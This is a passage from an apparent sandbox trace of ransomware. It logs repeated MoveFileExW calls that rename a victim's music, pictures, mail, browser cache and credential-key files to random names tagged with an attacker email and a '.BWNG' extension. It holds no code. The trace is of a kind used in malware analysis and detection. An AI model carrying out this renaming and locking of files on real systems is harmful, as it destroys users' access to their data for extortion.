playlists\\en-us\\0000e713\\[billwong73@yahoo.com].lrvzhbzt-wpemzamg.bwng"), dwFlags=0x1) returned 1 [0135.336] GetTickCount () returned 0x1169444 [0135.337] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27728875317) returned 1 [0135.337] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\05_pictures_taken_in_the_last_month.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\[billwong73@yahoo.com].QSbNGi3A-jmLIe3J2.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\[billwong73@yahoo.com].qsbngi3a-jmlie3j2.bwng"), dwFlags=0x1) returned 1 [0135.338] GetTickCount () returned 0x1169444 [0135.338] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27729045382) returned 1 [0135.339] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\outlook\\roamcache\\stream_contactprefs_2_f230e11936b7d740a008ffc660e83c71.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\[billwong73@yahoo.com].f14WIvtG-TDuxyLtD.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\outlook\\roamcache\\[billwong73@yahoo.com].f14wivtg-tduxyltd.bwng"), dwFlags=0x1) returned 1 [0135.342] GetTickCount () returned 0x1169444 [0135.342] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27729457516) returned 1 [0135.343] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edbres00002.jrs"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\[billwong73@yahoo.com].utmoGwAq-5O7uxjSh.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\[billwong73@yahoo.com].utmogwaq-5o7uxjsh.bwng"), dwFlags=0x1) returned 1 [0135.344] GetTickCount () returned 0x1169444 [0135.344] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27729618573) returned 1 [0135.344] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\[billwong73@yahoo.com].TYfKGX6O-bwm8UhQ5.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\[billwong73@yahoo.com].tyfkgx6o-bwm8uhq5.bwng"), dwFlags=0x1) returned 1 [0135.345] GetTickCount () returned 0x1169444 [0135.345] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27729765957) returned 1 [0135.346] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\10\\16a09d01"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\[billwong73@yahoo.com].xJNPwgQl-gmB1JPn2.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\10\\[billwong73@yahoo.com].xjnpwgql-gmb1jpn2.bwng"), dwFlags=0x1) returned 1 [0135.347] GetTickCount () returned 0x1169454 [0135.347] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27729963492) returned 1 [0135.348] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\[billwong73@yahoo.com].h7NvaOb6-IIhsqklF.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\[billwong73@yahoo.com].h7nvaob6-iihsqklf.bwng"), dwFlags=0x1) returned 1 [0135.349] GetTickCount () returned 0x1169454 [0135.349] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27730142968) returned 1 [0135.349] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\downloads.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\[billwong73@yahoo.com].RZBtb9Z0-zZr8N4FF.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\[billwong73@yahoo.com].rzbtb9z0-zzr8n4ff.bwng"), dwFlags=0x1) returned 1 [0135.351] GetTickCount () returned 0x1169454 [0135.351] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27730296497) returned 1 [0135.351] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\9NIWgKv1N0vGtrsKFs.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\9niwgkv1n0vgtrskfs.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].URQwBoya-jrHIGiz9.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].urqwboya-jrhigiz9.bwng"), dwFlags=0x1) returned 1 [0135.464] GetTickCount () returned 0x11694c1 [0135.464] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27741643526) returned 1 [0135.465] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\jqZGhCVdR.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jqzghcvdr.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].V4F9LW7P-HnB6BZLc.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].v4f9lw7p-hnb6bzlc.bwng"), dwFlags=0x1) returned 1 [0135.466] GetTickCount () returned 0x11694c1 [0135.466] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27741842008) returned 1 [0135.467] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tnK9.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tnk9.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].TOkcUUG8-BmsbeJaK.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].tokcuug8-bmsbejak.bwng"), dwFlags=0x1) returned 1 [0135.468] GetTickCount () returned 0x11694c1 [0135.468] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27742001620) returned 1 [0135.468] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_GV5WvOsbkRm K.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\_gv5wvosbkrm k.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].9dmFNtN4-CJHRimyM.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].9dmfntn4-cjhrimym.bwng"), dwFlags=0x1) returned 1 [0135.480] GetTickCount () returned 0x11694d1 [0135.480] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27743251692) returned 1 [0135.481] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FBwe\\U_7qPsPZdo.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fbwe\\u_7qpspzdo.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FBwe\\[billwong73@yahoo.com].RrMZa5X6-EaSk96uM.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fbwe\\[billwong73@yahoo.com].rrmza5x6-eask96um.bwng"), dwFlags=0x1) returned 1 [0135.482] GetTickCount () returned 0x11694d1 [0135.482] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27743412872) returned 1 [0135.482] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NQ9coU\\uqCdNxnW.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nq9cou\\uqcdnxnw.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NQ9coU\\[billwong73@yahoo.com].RQHcVC8g-RPifYlV5.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nq9cou\\[billwong73@yahoo.com].rqhcvc8g-rpifylv5.bwng"), dwFlags=0x1) returned 1 [0135.484] GetTickCount () returned 0x11694d1 [0135.484] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27743615680) returned 1 [0135.484] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\F0W_1DxAF.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\f0w_1dxaf.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\[billwong73@yahoo.com].AcayeVDw-yjG8BfHB.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\[billwong73@yahoo.com].acayevdw-yjg8bfhb.bwng"), dwFlags=0x1) returned 1 [0135.519] GetTickCount () returned 0x1169500 [0135.519] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27747154176) returned 1 [0135.520] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QXKck1G4fFrIbqKfN\\8ME0.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qxkck1g4ffribqkfn\\8me0.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QXKck1G4fFrIbqKfN\\[billwong73@yahoo.com].FNqGT9md-j0MdL3Hz.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qxkck1g4ffribqkfn\\[billwong73@yahoo.com].fnqgt9md-j0mdl3hz.bwng"), dwFlags=0x1) returned 1 [0135.521] GetTickCount () returned 0x1169500 [0135.521] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27747349918) returned 1 [0135.522] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\r-o J2a yitLXPWAtjUo.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\r-o j2a yitlxpwatjuo.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\[billwong73@yahoo.com].KAlbgExo-1TCqjmx8.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\[billwong73@yahoo.com].kalbgexo-1tcqjmx8.bwng"), dwFlags=0x1) returned 1 [0135.523] GetTickCount () returned 0x1169500 [0135.523] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27747507997) returned 1 [0135.523] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\TGc46 xOdBo5.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\tgc46 xodbo5.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\[billwong73@yahoo.com].RtifwZPy-MCuGP13w.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\[billwong73@yahoo.com].rtifwzpy-mcugp13w.bwng"), dwFlags=0x1) returned 1 [0135.524] GetTickCount () returned 0x1169500 [0135.524] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27747641197) returned 1 [0135.524] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\adberdrupd10116_mui.msp"), lpNewFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\[billwong73@yahoo.com].OOxOU64G-QxNUXUnw.BWNG" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\[billwong73@yahoo.com].ooxou64g-qxnuxunw.bwng"), dwFlags=0x1) returned 0 [0135.525] GetTickCount () returned 0x1169500 [0135.525] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27747714998) returned 1 [0135.525] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\Hx.hxn" (normalized: "c:\\users\\all users\\microsoft help\\hx.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\[billwong73@yahoo.com].EpfOYdkq-FaUYUQVq.BWNG" (normalized: "c:\\users\\all users\\microsoft help\\[billwong73@yahoo.com].epfoydkq-fauyuqvq.bwng"), dwFlags=0x1) returned 0 [0135.525] GetTickCount () returned 0x1169500 [0135.525] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27747756947) returned 1 [0135.526] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.mspub.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\[billwong73@yahoo.com].p296JaHe-nRgEOBta.BWNG" (normalized: "c:\\users\\all users\\microsoft help\\[billwong73@yahoo.com].p296jahe-nrgeobta.bwng"), dwFlags=0x1) returned 0 [0135.526] GetTickCount () returned 0x1169500 [0135.526] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27747796603) returned 1 [0135.526] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\[billwong73@yahoo.com].WWtZePTX-JmGfZORk.BWNG" (normalized: "c:\\users\\all users\\microsoft help\\[billwong73@yahoo.com].wwtzeptx-jmgfzork.bwng"), dwFlags=0x1) returned 0 [0135.526] GetTickCount () returned 0x1169500 [0135.526] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27747835690) returned 1 [0135.526] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\[billwong73@yahoo.com].zTIokVit-WYR7nUpp.BWNG" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\[billwong73@yahoo.com].ztiokvit-wyr7nupp.bwng"), dwFlags=0x1) returned 0 [0135.527] GetTickCount () returned 0x1169500 [0135.527] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27747889959) returned 1 [0135.527] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\[billwong73@yahoo.com].zJIFJECU-Ix3D7noq.BWNG" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\[billwong73@yahoo.com].zjifjecu-ix3d7noq.bwng"), dwFlags=0x1) returned 0 [0135.527] GetTickCount () returned 0x1169500 [0135.527] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27747951320) returned 1 [0135.528] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\[billwong73@yahoo.com].2oAY2JEV-UiooArW8.BWNG" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\[billwong73@yahoo.com].2oay2jev-uiooarw8.bwng"), dwFlags=0x1) returned 0 [0135.528] GetTickCount () returned 0x1169500 [0135.528] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27748013347) returned 1 [0135.528] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\[billwong73@yahoo.com].MMn39vMp-DqDecPfP.BWNG" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\[billwong73@yahoo.com].mmn39vmp-dqdecpfp.bwng"), dwFlags=0x1) returned 0 [0135.528] GetTickCount () returned 0x1169500 [0135.529] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27748074740) returned 1 [0135.529] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\[billwong73@yahoo.com].xk1CV2d8-4HfcDf5N.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\[billwong73@yahoo.com].xk1cv2d8-4hfcdf5n.bwng"), dwFlags=0x1) returned 1 [0135.530] GetTickCount () returned 0x1169500 [0135.530] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27748240498) returned 1 [0135.530] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\localmls_3.wmdb"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\[billwong73@yahoo.com].hOUILsUI-4zQ51qmR.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\[billwong73@yahoo.com].houilsui-4zq51qmr.bwng"), dwFlags=0x1) returned 1 [0135.531] GetTickCount () returned 0x1169500 [0135.531] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27748372741) returned 1 [0135.532] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\10_all_music.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\[billwong73@yahoo.com].RPom39Vz-J3Bt1Tig.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\[billwong73@yahoo.com].rpom39vz-j3bt1tig.bwng"), dwFlags=0x1) returned 1 [0135.533] GetTickCount () returned 0x1169500 [0135.533] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27748522163) returned 1 [0135.553] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edbres00002.jrs"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\[billwong73@yahoo.com].2AQwA6pU-qeg7z9QM.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\[billwong73@yahoo.com].2aqwa6pu-qeg7z9qm.bwng"), dwFlags=0x1) returned 1 [0135.555] GetTickCount () returned 0x116951f [0135.555] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27750745445) returned 1 [0135.557] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\[billwong73@yahoo.com].EYO0RaXb-RdpAlx5a.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\[billwong73@yahoo.com].eyo0raxb-rdpalx5a.bwng"), dwFlags=0x1) returned 1 [0135.559] GetTickCount () returned 0x116951f [0135.559] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27751086411) returned 1 [0135.559] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Preferred" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\preferred"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\[billwong73@yahoo.com].FnkHQjEE-KiyZxf4D.BWNG" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\[billwong73@yahoo.com].fnkhqjee-kiyzxf4d.bwng"), dwFlags=0x1) returned 1 [0135.560] GetTickCount () returned 0x116951f [0135.560] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27751384097) returned 1 [0135.562] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie site on microsoft.com.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\[billwong73@yahoo.com].sQS3vQDC-BgV7t80l.BWNG" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\[billwong73@yahoo.com].sqs3vqdc-bgv7t80l.bwng"), dwFlags=0x1) returned 1 [0135.563] GetTickCount () returned 0x116951f [0135.563] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27751536910) returned 1 [0135.563] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\default\\favorites\\windows live\\get windows live.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Windows Live\\[billwong73@yahoo.com].kTUd5JjR-4Rt8dbkc.BWNG" (normalized: "c:\\users\\default\\favorites\\windows live\\[billwong73@yahoo.com].ktud5jjr-4rt8dbkc.bwng"), dwFlags=0x1) returned 1 [0135.565] GetTickCount () returned 0x116952e [0135.565] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27751677222) returned 1 [0135.565] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Pictures\\desktop.ini" (normalized: "c:\\users\\default\\pictures\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Pictures\\[billwong73@yahoo.com].FO8f3lEA-gB4iNU0G.BWNG" (normalized: "c:\\users\\default\\pictures\\[billwong73@yahoo.com].fo8f3lea-gb4inu0g.bwng"), dwFlags=0x1) returned 1 [0135.567] GetTickCount () returned 0x116952e [0135.567] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27751880938) returned 1 [0135.567] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Documents\\desktop.ini" (normalized: "c:\\users\\public\\documents\\desktop.ini"), lpNewFileName="C:\\Users\\Public\\Documents\\[billwong73@yahoo.com].qKchYV4p-xqIUnQnD.BWNG" (normalized: "c:\\users\\public\\documents\\[billwong73@yahoo.com].qkchyv4p-xqiunqnd.bwng"), dwFlags=0x1) returned 1 [0135.568] GetTickCount () returned 0x116952e [0135.568] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27752042891) returned 1 [0135.568] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\desktop.ini" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desktop.ini"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\[billwong73@yahoo.com].3SYOQ6Bc-9ZI8BrfO.BWNG" (normalized: "c:\\users\\public\\pictures\\sample pictures\\[billwong73@yahoo.com].3syoq6bc-9zi8brfo.bwng"), dwFlags=0x1) returned 1 [0135.570] GetTickCount () returned 0x116952e [0135.570] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27752200958) returned 1 [0135.570] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_001_" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\_cache_001_"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\[billwong73@yahoo.com].KHxmSP3i-J2VUjJGF.BWNG" (normalized: "c:\\users\\5p5nrgjn0js 